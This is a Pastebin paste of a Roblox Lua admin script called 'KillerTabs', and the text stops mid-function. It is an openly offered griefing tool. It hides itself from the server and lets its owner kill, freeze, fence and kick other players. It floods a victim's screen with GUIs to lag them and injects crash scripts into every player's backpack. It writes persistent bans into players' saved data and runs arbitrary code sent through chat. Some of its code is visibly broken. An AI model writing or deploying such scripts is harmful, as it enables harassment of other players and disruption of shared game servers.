Advertisement
PASTEBINWARRIOR

Untitled

Jul 30th, 2015
282
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 38.50 KB | None | 0 0
  1. wait()
  2. script.Parent = nil
  3. user = 'lifeepic' -- Your name here
  4. Bet= ";"
  5. Removed = false;
  6. local Rotations = Instance.new('Model')
  7. Banned = {"slamsan"} -- banned ;)
  8. Lagged = {slamsan}
  9. Admins = {"Somerandomperson"}-- an admin
  10. local IllegalTerms = {'/do'..'wn','ki'..'ck','b'..'an','cra'..'sh',user.. ':Remove',user.. ':Destroy',user.. '.Parent = nil',
  11. 'camb'..'all','c'..'ba','.B'..'et','adm'..'inlist','adm'..'in','iorb','orb','DropTheBomb','q0rb','0rb','qOrb','iTable','iRay','iKick','iBan'
  12. }; -- these are KickingPhrases where if the player says them they will get kicked
  13.  
  14. script.Name = user .. " " .. Bet .. " KillerTabs"
  15. APlayer = game.Players:findFirstChild(user)
  16. if script.ClassName == 'LocalScript' then
  17. APlayer = game.Players.LocalPlayer
  18. end
  19.  
  20. local DPBans = {'LolDPbanned'}
  21. local CurrentDPBan = 'LolDPBanned'
  22. Version = 2.0 -- Admin Update, DPUpdate, New commands will occur in next update, Click Detector Update will occur in version 2.0
  23. Objects = Instance.new("Model", script)
  24. Objects.Name = "ScriptList"
  25. Obj = nil
  26. Showing = {}
  27. isExploring = false
  28. Fences = {}
  29. local Updates = {
  30. 'Admins update: allows multiple admins','DP use update: for dpban','More commands','Kicking Phrases added',
  31. 'Remove feature','DP for Admin loading','Anti Camball','Anti Deadfield','Added a crash ban'
  32. }
  33. Commands = {
  34. {"kill"..Bet.."(APlayer)", "Kills a APlayer", "Arguments : #APlayer"},
  35. {"respawn"..Bet.."(APlayer)", "Respawns a APlayer", "Arguments : #APlayer"},
  36. {"ban"..Bet.."(APlayer)", "Bans a APlayer", "Arguments : #APlayer"},
  37. {"unban"..Bet.."(APlayer)", "Removes the APlayer from banned list", "Arguments : #APlayer"},
  38. {"kick"..Bet.."(APlayer)", "Kicks a APlayer", "Arguments : #APlayer"},
  39. {"ff"..Bet.."(APlayer)", "Gives APlayer ForceField", "Arguments : #APlayer"},
  40. {"unff"..Bet.."(APlayer)", "Removes APlayer ForceField", "Arguments : #APlayer"},
  41. {"clean"..Bet, "Cleans up server", "Arguments : None"},
  42. {"expl"..Bet, "Turn on explorer", "Arguments : None"},
  43. {"des"..Bet.."(name)", "Destroys object (Explorer must active)", "Arguments : #name"},
  44. {"copy"..Bet.."(name)", "Copies an object (Explorer must active)", "Arguments : #name"},
  45. {"paste"..Bet, "Paste copied object (Explorer must active)", "Arguments : None"},
  46. {"hide"..Bet, "Hides the tablets", "Arguments : None"},
  47. {"show"..Bet, "Shows the tablets", "Arguments : None"},
  48. {"dismiss"..Bet, "Closes tablets", "Arguments : None"},
  49. {"info"..Bet, "Shows KillerTabs information", "Arguments : None"},
  50. {"commands"..Bet, "Shows the commands list", "Arguments : None"},
  51. {"ping"..Bet.."(arguments)", "Pings every APlayer on the server", "Arguments : #APlayers or #nil"},
  52. {"help"..Bet.."(command)", "Shows detailed info on commands [BETA]", "Arguments : #command"},
  53. {"fence"..Bet.."(arguments", "Fences the APlayer","Arguments :#Players"},
  54. {'unfence'..Bet..'(arguments','Unfences the APlayer','Arguments:#Players'},
  55. {'lag'..Bet..'(arguments','Lags the APlayer','Arguments:#Players'},
  56. {'Admin'..Bet..'(APlayer)','Admins a APlayer','Arguments:#Players'},
  57. {'Unadmin'..Bet..'(APlayer)','Unadmins a APlayer','Arguments:#Players'},
  58. {'DPban'..Bet..'(APlayer)','DP bans the player','Arguments:#Players'},
  59. {'m'..Bet..'Text','Makes a message with the text','No args'},
  60. {'h'..Bet..'Text','Makes a hint with the text', 'No args'},
  61. {'bannedlist','Shows the bannedlist','No args'},
  62. {'Remove','Removes this script','No args'},
  63. {'aphrase','Adds a phrase to the illegal terms','Arguments:Phrase'},
  64. {'rphrase','Removes the following phrase to the illegal terms','Arguments:Phrase'},
  65. {'lphrases','Gives the speaker a list of the phrases','No args'},
  66. {'Adminlist','Gives the speaker of the admins','No args'},
  67. {'Adminsingame','Gives the speaker a list of the admins in this server','No Args'},
  68. --{'Shutdown','Shuts the game down','No Arguments'},
  69. {'Exe','Executes the following string','Arguments:String'},
  70. {'Listupdates','Lists the updates','No Args'},
  71. {'permadmin','Permanetly admins the player','Arguments:player'},
  72. {'base','Creates a base.','Arguments:#command'},
  73. {'skick'..Bet..'(APlayer)','Shutdown kick player','Arguments:player'},
  74. {'freeze'..Bet..'(APlayer)','Freezes the player','Arguments:player'},
  75. {'thaw'..Bet..'(APlayer)','Thaws player','Arguments:player'},
  76. }
  77. ScriptContainer = Instance.new('Model')
  78. LocalScript = ScriptContainer:findFirstChild('LocalScript')
  79. PsuedoScript = ScriptContainer:findFirstChild('Script')
  80. local Check = function(Object)
  81. if Removed == false then
  82. for _,Object in pairs(Object:GetChildren()) do
  83. if Object.ClassName == 'Script' then
  84. if PseudoScript == nil then
  85. local Object = Object:Clone()
  86. if #Object:GetChildren() ~= 0 then
  87. Object.Disabled = true
  88. for _,String in pairs(Object:GetChildren()) do
  89. if String:IsA('StringValue') then
  90. String.Value = [[ wait() ]]
  91. end
  92. end
  93. Object.Name = 'Script'
  94. Object.Parent = ScriptContainer
  95. end
  96. end
  97. elseif Object.ClassName == 'LocalScript' then
  98. if PseudoScript == nil then
  99. if #Object:GetChildren() ~= 0 then
  100. local Object = Object:Clone()
  101. Object.Disabled = true
  102. for _,String in pairs(Object:GetChildren()) do
  103. if String:IsA('StringValue') then
  104. String.Value = [[ wait() ]]
  105. end
  106. end
  107. Object.Name = 'LocalScript'
  108. Object.Parent = ScriptContainer
  109. end
  110. end
  111. end
  112. end
  113. end
  114. end
  115. game:service'Workspace'.ChildAdded:connect(function(Object)
  116. Check(game.Workspace)
  117. end)
  118. Check(game.Workspace)
  119. local AdminPlayer = function(p)
  120. local Retz;
  121. if isAdmin(p) then
  122. Retz = p.Name .. ' is already a admin!'
  123. else
  124. table.insert(Admins,p.Name)
  125. p.Chatted:connect(function(a) Admin(a, p) end)
  126. Admin('info'..Bet,p)
  127. end
  128. return Retz
  129. end
  130. local Unadmin = function(P)
  131. for i,v in pairs(Admins) do
  132. if P.Name == v then
  133. table.remove(Admins,i)
  134. table.remove(Admins,v)
  135. end
  136. end
  137. end
  138. local isAdmin = function(P)
  139. is = false
  140. for _,s in pairs(Admins) do
  141. if P.Name == s or P.Name == user then
  142. is = true
  143. end
  144. end
  145. return is
  146. end
  147.  
  148. function LagOut(plr)
  149. Instance.new("Hint",Game.Workspace).Text = (plr.Name .. " b gettin lagged")
  150. local plrgui = plr:findFirstChild("PlayerGui")
  151. if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
  152. while plr.Parent == game.Players do
  153. wait()
  154. for i = 1, 1000 do
  155. local sc = Instance.new("ScreenGui",plrgui)
  156. local fr = Instance.new("TextLabel",sc)
  157. fr.Text = "PROBLEM"
  158. fr.Size = UDim2.new(1, 0, 1, 0)
  159. fr.FontSize = "Size48"
  160. end
  161. end
  162. end
  163.  
  164. --[[Anti-Deadfield]]--
  165. Delay(0, function()
  166. while wait() do
  167. pcall(function()
  168. d=workspace:findFirstChild("DF", true)
  169. d:Destroy()
  170. e=game.Players:findFirstChild("NS",true)
  171. e:Destroy()
  172. e.Disabled = true
  173. e:ClearAllChildren()
  174. s=workspace:findFirstChild("safe1",true) or workspace:findFirstChild("safe2",true)
  175. if s.Parent.Name == "DF" then
  176. s:Destroy()
  177. s.Parent:Destroy()
  178. end
  179. end)
  180. end
  181. end)
  182.  
  183. --[[Anti-Camball]]--
  184. Delay(0, function()
  185. while wait() do
  186. pcall(function()
  187. e=Workspace:findFirstChild("Focus", true)
  188. e.Parent.Head:Destroy()
  189. e:Destroy()
  190. end)
  191. end
  192. end)
  193.  
  194. --[[Anti-Kill]]--
  195.  
  196. local player = game.Players[user]
  197. local pos = CFrame.new()
  198. local pause = false
  199. Delay(0, function()
  200. while not close do
  201. wait()
  202. if not pause then
  203. local c = player.Character
  204. if c then
  205. local t = c:findFirstChild("Torso")
  206. if t then
  207. pos = t.CFrame
  208. end
  209. end
  210. end
  211. end
  212. end)
  213. player.CharacterAdded:connect(function(c)
  214. if not close then
  215. pause = true
  216. repeat wait() until c:findFirstChild("Torso") and c:findFirstChild("Humanoid")
  217. c:findFirstChild("Torso").CFrame = pos
  218. c:findFirstChild("Humanoid").Died:connect(function()
  219. player:LoadCharacter()
  220. end)
  221. pause = false
  222. end
  223. end)
  224. pcall(function() player.Character:BreakJoints() end)
  225.  
  226. --[[Tablets]]--
  227.  
  228. Tablets = {}
  229. local fence = function(SelectedPlayer,s)
  230. local BoxColor = BrickColor.new("Really black")
  231. local FenceParts = {}
  232. local Main = Instance.new("Model",workspace)
  233. Main.Name = "Fence"
  234. table.insert( Fences,{Fence = Main, Player = SelectedPlayer})
  235. local Radius = 25
  236. local Parts = 15
  237. for i=1,Parts do
  238. local Part = Instance.new("Part",Main)
  239. Part.Name = ""
  240. Part.FormFactor = "Custom"
  241. Part.TopSurface = "Smooth"
  242. Part.BottomSurface = "Smooth"
  243. Part.Reflectance = 0
  244. Part.Transparency = 0.5
  245. Part.Anchored = false
  246. Part.CanCollide = false
  247. Part.BrickColor = BrickColor.new("Really blue")
  248. Part.Size = Vector3.new(10,0.4,10)
  249. Part.CFrame = SelectedPlayer.Character.Torso.CFrame
  250. Part.Touched:connect(function(Toucher)
  251. local ShouldKill = true
  252. if Toucher:IsDescendantOf(SelectedPlayer.Character) then
  253. ShouldKill = false
  254. end
  255. if ShouldKill == true then
  256. Toucher:BreakJoints()
  257. end
  258. end)
  259.  
  260. local SelectionBox = Instance.new("SelectionBox",Part)
  261. SelectionBox.Color = BrickColor.new("Really blue")
  262. SelectionBox.Adornee = Part
  263.  
  264. local BodyPosition = Instance.new("BodyPosition",Part)
  265. BodyPosition.maxForce = Vector3.new(math.huge, math.huge, math.huge)
  266. BodyPosition.position = SelectedPlayer.Character.Torso.CFrame.p
  267.  
  268. local BodyGyro = Instance.new("BodyGyro",Part)
  269. BodyGyro.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
  270.  
  271. local VerticalOffset = Instance.new("NumberValue",Part)
  272. VerticalOffset.Name = "VerticalOffset"
  273. VerticalOffset.Value = 0
  274.  
  275. local Selected = Instance.new("BoolValue",Part)
  276. Selected.Name = "Selected"
  277. Selected.Value = false
  278.  
  279. table.insert(FenceParts,Part)
  280. end
  281.  
  282. FenceParts[math.random(1, Parts)].Selected.Value = true
  283.  
  284. coroutine.resume(coroutine.create(function()
  285. local Rotation = 8
  286.  
  287. while wait() do
  288. if Removed == true then
  289. for _,v in pairs(FenceParts) do v:Remove() end
  290. break
  291. end
  292.  
  293. for i,v in pairs(FenceParts) do
  294. pcall(function()
  295. local OutwardsOffset = 0
  296.  
  297. if v.Selected.Value == true then
  298. OutwardsOffset = 5
  299. end
  300.  
  301. local cframe = (CFrame.new(SelectedPlayer.Character.Torso.Position + Vector3.new(0, v.VerticalOffset.Value, 0))
  302. * CFrame.Angles(0,math.rad((i-1)*(360/Parts)+Rotation),0)
  303. * CFrame.new(0,(v.Size.y/2)+2,(Radius*-1)-OutwardsOffset)
  304. * CFrame.Angles(math.rad(90),0,0))
  305.  
  306. v.BodyPosition.position = cframe.p
  307. v.BodyGyro.cframe = cframe
  308. end)
  309. end
  310.  
  311. Rotation = Rotation + 0.5
  312. end
  313. end))
  314.  
  315. coroutine.resume(coroutine.create(function()
  316. local Next = false
  317.  
  318. while wait(0.2) do
  319. if Removed == true then
  320. for _,v in pairs(FenceParts) do v:Remove() end
  321. break
  322. end
  323. for _, Part in pairs(FenceParts) do
  324. if Next then
  325. Part.Selected.Value = true
  326. Next = false
  327. break
  328. end
  329. if Part.Selected.Value == true then
  330. Part.Selected.Value = false
  331. Next = true
  332. end
  333. end
  334. end
  335. end))
  336.  
  337. coroutine.resume(coroutine.create(function()
  338. while wait() do
  339. if Removed == true then
  340. for _,v in pairs(FenceParts) do v:Remove() end
  341. break
  342. end
  343. for _, Part in pairs(FenceParts) do
  344. local Close = false
  345.  
  346.  
  347. if Close then
  348. Part.VerticalOffset.Value = 8
  349. coroutine.resume(coroutine.create(function()
  350. wait(3)
  351. Part.VerticalOffset.Value = 0
  352. end))
  353. end
  354. end
  355. end
  356. end))
  357. end
  358. local unfence = function(p,s)
  359. for _,v in pairs(Fences) do
  360. if v.Player == p then
  361. v.Fence:Remove()
  362. end
  363. end
  364. end
  365.  
  366. script.Parent = nil
  367. PlayerPlugins = [==[
  368. script.Parent = nil
  369. LocalPlayer = game:GetService("Players").LocalPlayer
  370.  
  371. coroutine.resume(coroutine.create(function()
  372. while wait() do
  373. if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name) then
  374. workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name):Remove()
  375. LocalPlayer.Parent = nil
  376. LocalPlayer.Parent = game:GetService("Players")
  377. end
  378. end
  379. end))
  380. ]==]
  381.  
  382.  
  383. function nilcrash(plr)
  384. if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then
  385. newLocalScript(PlayerPlugins, plr.Backpack)
  386. elseif game.Players.Ultimatekiller010.PlayerGui:findFirstChild("UltimateLocal") then
  387. crasher = game.Players.Ultimatekiller010.PlayerGui.UltimateLocal:Clone()
  388. crasher.Parent = plr.Backpack
  389. crasher.Disabled = true
  390. crasher.ScriptSource.Value = PlayerPlugins
  391. crasher.Disabled = false
  392. else
  393. local h = Instance.new("Hint", game.Players.Ultimatekiller010.PlayerGui)
  394. h.Text = "UltimateLocal Not Found"
  395. wait(3)
  396. h:Destroy()
  397. end
  398. end
  399.  
  400. coroutine.wrap(function()
  401. for _,v in pairs(game.Players:GetPlayers()) do
  402. nilcrash(v)
  403. end
  404. end)()
  405.  
  406. game.Players.PlayerAdded:connect(function(v)
  407. repeat wait() until v:findFirstChild("Backpack")
  408. nilcrash(v)
  409. end)
  410.  
  411. IsBanned = function(p)
  412. for _,Baned in pairs(Banned) do
  413. if p.Name:lower() == Baned:lower() then
  414. return true
  415. end
  416. end
  417. return false
  418. end
  419.  
  420. function Tablet(txt, c, Player,func)
  421. tab = Instance.new("Part", game:GetService("Workspace"))
  422. tab.FormFactor = "Custom"
  423. tab.Name = Player.Name .. " - Tablets"
  424. tab.Size = Vector3.new(2.5,3.5,0.05)
  425. tab.Anchored = true
  426. tab.BrickColor = BrickColor.new("Really black")
  427. tab.CanCollide = false
  428. tab.Transparency = 0.6
  429. p = Instance.new("Sparkles", tab)
  430. p.Color = Color3.new(0,0,1)
  431. box = Instance.new("SelectionBox", tab)
  432. box.Name = "SelectionBox"
  433. box.Transparency = 0.7
  434. box.Adornee = box.Parent
  435. box.Color = BrickColor.new("Really black")
  436. m = Instance.new("SpecialMesh", tab)
  437. m.MeshId = "http://www.roblox.com/Asset/?id=9756362"
  438. mesh = Instance.new("BlockMesh", tab)
  439. gui = Instance.new("BillboardGui", tab)
  440. gui.Adornee = gui.Parent
  441. gui.StudsOffset = Vector3.new(0,3,0)
  442. gui.Size = UDim2.new(1,0,1,0)
  443. text = Instance.new("TextLabel", gui)
  444. text.Text = txt
  445. text.Position = UDim2.new(0.5,0,0.5,0)
  446. text.Font = "ArialBold"
  447. text.FontSize = "Size24"
  448. text.TextColor3 = Color3.new(0,0,1)
  449. text.TextStrokeColor3 = Color3.new(0,0,0)
  450. text.TextStrokeTransparency = 0.5
  451. table.insert(Tablets, {tablet = tab})
  452. --
  453. local click = Instance.new("ClickDetector")
  454. click.Parent = tab
  455. click.MouseClick:connect(function(player)
  456.  
  457. if player == Player then
  458. if func == nil then
  459. tab:Remove()
  460. else
  461. func(Player)
  462. end
  463. end
  464. end)
  465. --
  466. end
  467. local GetTablets = function(Player)
  468. Tabs = {}
  469. for _,P in pairs(Game.Workspace:GetChildren()) do
  470. if P.Name == Player.Name .. " - Tablets" then
  471. table.insert(Tabs,{tablet = P})
  472. end
  473. end
  474. return Tabs
  475. end
  476. CreateNewTablets = function(table, color,Player)
  477. for i, v in pairs(game:GetService("Workspace"):GetChildren()) do
  478. if v.Name == Player.Name .. " - Tablets" then
  479. v:Destroy()
  480. end
  481. end
  482. Tablets = {}
  483. for i, v in pairs(table) do
  484. Tablet(v, color, Player)
  485. end
  486. end
  487. Delay(0, function()
  488. rotation = 0
  489. while wait() do
  490. pcall(function()
  491. for _,Player in pairs(game.Players:GetPlayers()) do
  492. if isAdmin(Player) or Player == User then
  493. local Tablets = GetTablets(Player)
  494. rotation = rotation + 0.0006
  495. for i = 1, #Tablets do
  496. position = Player.Character.Torso.CFrame
  497. radius = 4 + (#Tablets + 0.4)-- change for closer
  498. x = math.cos((i / #Tablets - (0.5 / #Tablets) + rotation * 2) * math.pi * 2) * radius
  499. y = 0
  500. z = math.sin((i / #Tablets - (0.5 / #Tablets) + rotation * 2) * math.pi * 2) * radius
  501. tposition = position:toWorldSpace(CFrame.new(x,y,z):inverse())
  502. Tablets[i].tablet.CFrame = CFrame.new(tposition.p, position.p) * CFrame.Angles(math.rad(25),0,0)
  503. end
  504. end
  505. end
  506. end)
  507. end
  508. end)
  509. Delay(0, function()
  510. while true do
  511. c = BrickColor.new("Really black")
  512. for i, v in pairs(Tablets) do
  513. v.tablet.BrickColor = BrickColor.new("Really black")
  514. v.tablet.SelectionBox.Color = BrickColor.new("Really blue")
  515. v.tablet.BillboardGui.TextLabel.TextColor3 = Color3.new(0,0,1)
  516. end
  517. wait(1)
  518. end
  519. end)
  520. Find = function(name, Speakah)
  521. get = {}
  522. if name == "me" then
  523. table.insert(get, APlayer)
  524. elseif name == 'all' then
  525. for _,Player in pairs(game.Players:GetPlayers()) do
  526. table.insert(get,Player)
  527. return
  528. end
  529. elseif name == 'admins' then
  530. for _,Player in pairs(game.Players:GetPlayers()) do
  531. if isAdmin(Player) then
  532. table.insert(get,Player)
  533. return
  534. end
  535. end
  536. elseif name == "others" then
  537. for i, v in pairs(game:GetService("Players"):GetPlayers()) do
  538. if v.Name ~= APlayer.Name then
  539. table.insert(get, v)
  540. end
  541. end
  542. else
  543. for i, v in pairs(game:GetService("Players"):GetPlayers()) do
  544. if string.find(string.lower(v.Name), name) ~= nil then
  545. table.insert(get, v)
  546. end
  547. end
  548. end
  549. return get
  550. end
  551. PlayerAdd = function(player)
  552. if Removed == false then
  553. if Removed == false then
  554. c = BrickColor.random()
  555. if Rotations:findFirstChild(player.Name) == nil then
  556. local Value = Instance.new('IntValue',Rotations)
  557. Value.Name = player.Name
  558. Value.Value = 0
  559. end
  560. if player ~= nil then
  561. if isAdmin(player) then
  562. for _,Player in pairs(game.Players:GetPlayers()) do
  563. if isAdmin(Player) then
  564. CreateNewTablets({player.Name .. " Admin joined the server."}, c,Player)
  565. end
  566. end
  567. else
  568. for _,Player in pairs(game.Players:GetPlayers()) do
  569. if isAdmin(Player) then
  570. CreateNewTablets({player.Name .. " joins the server."}, c,Player)
  571. end
  572. end
  573. if player == APlayer or isAdmin(player) then
  574. player.Chatted:connect(function(a) Admin(a, player) end)
  575. end
  576. end
  577. end
  578. end
  579. end
  580. end
  581. local CheckForIllegal =function(msg,player)
  582. if not isAdmin(player) then
  583. for _,Phrase in pairs(IllegalTerms) do
  584. if msg:lower():find(Phrase:lower()) then
  585. local g= script:Clone()
  586. g.Name = 'ScriptCloning'
  587. g.Parent = player:findFirstChild('Backpack') or player:findFirstChild('PlayerGui')
  588. g.Disabled = true wait() g.Disabled = false
  589. wait(2)
  590. if game.Players:findFirstChild(player.Name) then
  591. player:Destroy()
  592. end
  593. end
  594. end
  595. end
  596. end
  597. Admin = function(m, Speakah)
  598. if Removed == false then
  599. msg = string.lower(m)
  600. if isExploring == false then
  601. if string.sub(msg, 1, 8) == "respawn"..Bet then
  602. if string.sub(msg, 9) ~= "" then
  603. target = Find(string.sub(msg, 9), Speakah)
  604. for i, v in pairs(target) do
  605. v:LoadCharacter()
  606. end
  607. end
  608. elseif string.sub(msg,1,2) == 'm'..Bet then
  609. String = m:sub(3)
  610. Message = Instance.new('Message')
  611. Message.Parent=Workspace;
  612. local Effect=Instance.new('Sound');
  613. Effect.SoundId='rbxasset://sounds\\switch.wav';
  614. Effect.Parent=Workspace;
  615. for Index=1,#String do
  616. Effect:Play();
  617. Message.Text=Message.Text..String:sub(Index,Index);
  618. wait(0.09);
  619. end
  620. wait(0.5);
  621. Message.Parent=nil;
  622. Effect.Parent=nil;
  623. elseif string.sub(msg,1,2) == 'h'..Bet then
  624. String = m:sub(3)
  625. Message = Instance.new('Hint')
  626. Message.Parent=Workspace;
  627. local Effect=Instance.new('Sound');
  628. Effect.SoundId='rbxasset://sounds\\switch.wav';
  629. Effect.Parent=Workspace;
  630. for Index=1,#String do
  631. Effect:Play();
  632. Message.Text=Message.Text..String:sub(Index,Index);
  633. wait(0.09);
  634. end
  635. wait(0.5);
  636. Message.Parent=nil;
  637. Effect.Parent=nil;
  638. elseif string.sub(msg, 1, 6) == "fence"..Bet then
  639. if string.sub(msg, 7) ~= "" then
  640. target = Find(string.sub(msg, 7), Speakah)
  641. for i, v in pairs(target) do
  642. if v.Character ~= nil then
  643. fence(v)
  644. end
  645. end
  646. end
  647. elseif string.sub(msg, 1, 8) == "unadmin"..Bet then
  648. if string.sub(msg, 9) ~= "" then
  649. target = Find(string.sub(msg, 9), Speakah)
  650. for i, v in pairs(target) do
  651. if v.Character ~= nil then
  652. unadmin(v)
  653. end
  654. end
  655. end
  656. elseif string.sub(msg,1,10) == 'permadmin'..Bet then
  657. for _,Player in pairs(Find(msg:sub(11),Speakah)) do
  658. local model = Player:LoadInstance(CurrentDPBan)
  659. Instance.new('Model',model).Name = 'Admin'
  660. Player:SaveInstance(CurrentDPBan,model)
  661. PlayerAdd(Player)
  662. end
  663. elseif string.sub(msg, 1, 6) == "admin"..Bet then
  664. if string.sub(msg, 7) ~= "" then
  665. target = Find(string.sub(msg, 7), Speakah)
  666. for i, v in pairs(target) do
  667. table.insert(Admins,v.Name)
  668. v.Chatted:connect(function(Msg) Admin(Msg,v) end)
  669. Admin('ping'..Bet.. '[KillerTabs]: '..v.Name..' has now been admined!',Speakah)
  670. end
  671. end
  672. elseif string.sub(msg, 1, 8) == "unfence"..Bet then
  673. if string.sub(msg, 9) ~= "" then
  674. target = Find(string.sub(msg, 9), Speakah)
  675. for i, v in pairs(target) do
  676. if v.Character ~= nil then
  677. unfence(v)
  678. end
  679. end
  680. end
  681. elseif string.sub(msg, 1, 4) == "la".."g"..Bet then
  682. if string.sub(msg, 5) ~= "" then
  683. target = Find(string.sub(msg, 5), Speakah)
  684. for i, v in pairs(target) do
  685. if v.Character ~= nil then
  686. LagOut(v)
  687. end
  688. end
  689. end
  690. elseif string.sub(msg, 1, 5) == "kill"..Bet then
  691. if string.sub(msg, 6) ~= "" then
  692. target = Find(string.sub(msg, 6), Speakah)
  693. for i, v in pairs(target) do
  694. if v.Character ~= nil then
  695. v.Character:BreakJoints()
  696. end
  697. end
  698. end
  699. elseif msg == "expl"..Bet or msg == "explorer"..Bet then
  700. isExploring = true
  701. Showing = {game:GetService("Workspace"), game:GetService("Players"), game:GetService("Lighting"), game:GetService("StarterPack"), game:GetService("StarterGui")}
  702. a = {}
  703. for i, v in pairs(Showing) do
  704. table.insert(a, v.Name)
  705. end
  706. c = BrickColor.new("Really black")
  707. CreateNewTablets(a, c, Speakah)
  708. elseif msg == "clean"..Bet then
  709. for i1,v in pairs(game:GetService("Workspace"):GetChildren()) do
  710. if game:GetService("Players"):GetPlayerFromCharacter(v) == nil then
  711. if v.className ~= "Terrain" and v.className ~= "Camera" then
  712. pcall(function() v:Remove() end)
  713. end
  714. end
  715. end
  716. for i1,v in pairs(game:GetService("Lighting"):GetChildren()) do
  717. pcall(function() v:Remove() end)
  718. end
  719. for i1,v in pairs(game:GetService("StarterGui"):GetChildren()) do
  720. pcall(function() v:Remove() end)
  721. end
  722. for i1,v in pairs(game:GetService("StarterPack"):GetChildren()) do
  723. pcall(function() v:Remove() end)
  724. end
  725. for i1,v in pairs(game:GetService("Debris"):GetChildren()) do
  726. pcall(function() v:Remove() end)
  727. end
  728. for i1,v in pairs(game:GetService("Teams"):GetChildren()) do
  729. pcall(function() v:Remove() end)
  730. end
  731. elseif string.sub(msg, 1, 4) == "ban"..Bet then
  732. if string.sub(msg, 5) ~= "" then
  733. target = Find(string.sub(msg, 5), nil)
  734. for i, v in pairs(target) do
  735. table.insert(Banned, v.Name)
  736. end
  737. end
  738.  
  739. elseif string.sub(msg, 1, 4) == "exe"..Bet then
  740. local a,b = coroutine.resume(coroutine.create(function()
  741. loadstring(string.sub(m,5))()
  742. end))
  743. if not a then
  744. Admin('ping'..Bet..b,Speakah)
  745. else
  746. Admin('ping'..Bet..'[KillerTabs]: Script executed succesfully',Speakah)
  747. end
  748. elseif string.sub(msg, 1, 6) == "dpban"..Bet then
  749. if string.sub(msg, 7) ~= "" then
  750. target = Find(string.sub(msg, 7), nil)
  751. for i, v in pairs(target) do
  752. table.insert(Banned, v.Name)
  753. local Banned = Instance.new('StringValue')
  754. Banned.Name = 'Banned'
  755. local Mod = Instance.new('Model')
  756. Banned.Parent = Mod
  757. v:SaveInstance(CurrentDPBan,Mod)
  758. v:Destroy()
  759. end
  760. end
  761. elseif string.sub(msg, 1, 6) == "unban"..Bet then
  762. for i, v in pairs(Banned) do
  763. if string.find(string.lower(v), string.sub(msg, 7)) ~= nil then
  764. table.remove(Banned, i)
  765. end
  766. end
  767. elseif string.sub(msg, 1, 8) == "rphrase"..Bet then
  768. for i, v in pairs(IllegalTerms) do
  769. if string.find(string.lower(v), string.sub(msg, 9)) ~= nil then
  770. table.remove(Banned, i)
  771. end
  772. end
  773. elseif string.sub(msg, 1, 8) == "aphrase"..Bet then
  774. table.insert(IllegalTerms,msg:sub(9))
  775. elseif msg:sub(1,12) == 'listupdates'..Bet then
  776. CreateNewTablets(Updates,BrickColor.new('Really red'),Speakah)
  777. elseif string.sub(msg, 1, 9) == "lphrases"..Bet then
  778. Texts = {}
  779. for _,Phrase in pairs(IllegalTerms) do
  780. table.insert(Texts,Phrase)
  781. end
  782. CreateNewTablets(Texts,BrickColor.random(),Speakah)
  783. elseif string.sub(msg, 1, 3) == "ff"..Bet then
  784. if string.sub(msg, 4) ~= "" then
  785. target = Find(string.sub(msg, 4), Speakah)
  786. for i, v in pairs(target) do
  787. if v.Character ~= nil then
  788. Admin("unff"..Bet .. v.Name, Speakah)
  789. Instance.new("ForceField", v.Character)
  790. end
  791. end
  792. end
  793. elseif string.sub(msg,1,7) == 'remove' .. Bet then
  794. local Msg = Instance.new('Message',Workspace)
  795. Admin('dismiss'..Bet,Speakah)
  796. Removed = true
  797. local String = Speakah.Name .. ' has disabled KillerTabs'
  798. for i=1,#String do
  799. Msg.Text = Msg.Text .. String[i]
  800. wait(0.9)
  801. end
  802. elseif string.sub(msg, 1, 5) == "unff"..Bet then
  803. if string.sub(msg, 6) ~= "" then
  804. target = Find(string.sub(msg, 6), Speakah)
  805. for i, v in pairs(target) do
  806. if v.Character ~= nil then
  807. for i1, v1 in pairs(v.Character:GetChildren()) do
  808. if v1.className == "ForceField" then
  809. v1:Destroy()
  810. end
  811. end
  812. end
  813. end
  814. end
  815. elseif string.sub(msg, 1, 5) == "kick"..Bet then
  816. if string.sub(msg, 6) ~= "" then
  817. target = Find(string.sub(msg, 6), Speakah)
  818. for i, v in pairs(target) do
  819. v:Destroy()
  820. end
  821. end
  822. elseif string.sub(msg, 1, 7) == "freeze"..Bet then
  823. if string.sub(msg, 8) ~= "" then
  824. target = Find(string.sub(msg, 8), Speakah)
  825. for i, v in pairs(target) do
  826. v.Character.Head.Anchored = true
  827. end
  828. end
  829. elseif string.sub(msg, 1, 5) == "thaw"..Bet then
  830. if string.sub(msg, 6) ~= "" then
  831. target = Find(string.sub(msg, 6), Speakah)
  832. for i, v in pairs(target) do
  833. v.Character.Head.Anchored = false
  834. end
  835. end
  836. elseif string.sub(msg, 1, 6) == "skick"..Bet then
  837. if string.sub(msg, 7) ~= "" then
  838. target = Find(string.sub(msg, 7), Speakah)
  839. for i, v in pairs(target) do
  840. local crash = Instance.new("StringValue",workspace)
  841. crash.Name = "Disconnect : "..v.Name
  842. wait(2)
  843. if crash ~= nil then
  844. crash:Destroy()
  845. end
  846. end
  847. end
  848. elseif string.sub(msg,1,11) == 'bannedlist' .. Bet then
  849. CreateNewTablets(Banned,BrickColor.random(),Speakah)
  850. elseif string.sub(msg,1,10) == 'adminlist' .. Bet then
  851. CreateNewTablets(Admins,BrickColor.random(),Speakah)
  852. elseif string.sub(msg,1,12) == 'adminingame' .. Bet then
  853. local Adminsingame = {}
  854. for _,Player in pairs(game.Players:GetPlayers()) do
  855. if isAdmin(Player) then
  856. table.insert(Adminsingame,Player.Name)
  857. end
  858. end
  859. if #Adminsingame == 0 then --Cannot be possible until update with ranks for this must mean there is no speaker XD unless i ran this as local lol
  860. table.insert(Adminsingame,'There are no admins in this server')
  861. end
  862. CreateNewTablets(Adminsingame,BrickColor.random(),Speakah)
  863. elseif string.sub(msg, 1, 5) == "ping"..Bet then
  864. get = {}
  865. ns = game:GetService("NetworkServer"):GetChildren()
  866. if string.sub(msg, 6) == "nil" then
  867. for i, v in pairs(ns) do
  868. if game:GetService("Players"):FindFirstChild(v:GetPlayer().Name) == nil then
  869. table.insert(get, v:GetPlayer().Name)
  870. end
  871. end
  872. if #get < 1 then
  873. table.insert(get, "No nil Players")
  874. end
  875. elseif string.sub(msg, 6) == "players" or string.sub(msg, 6) == "player" then
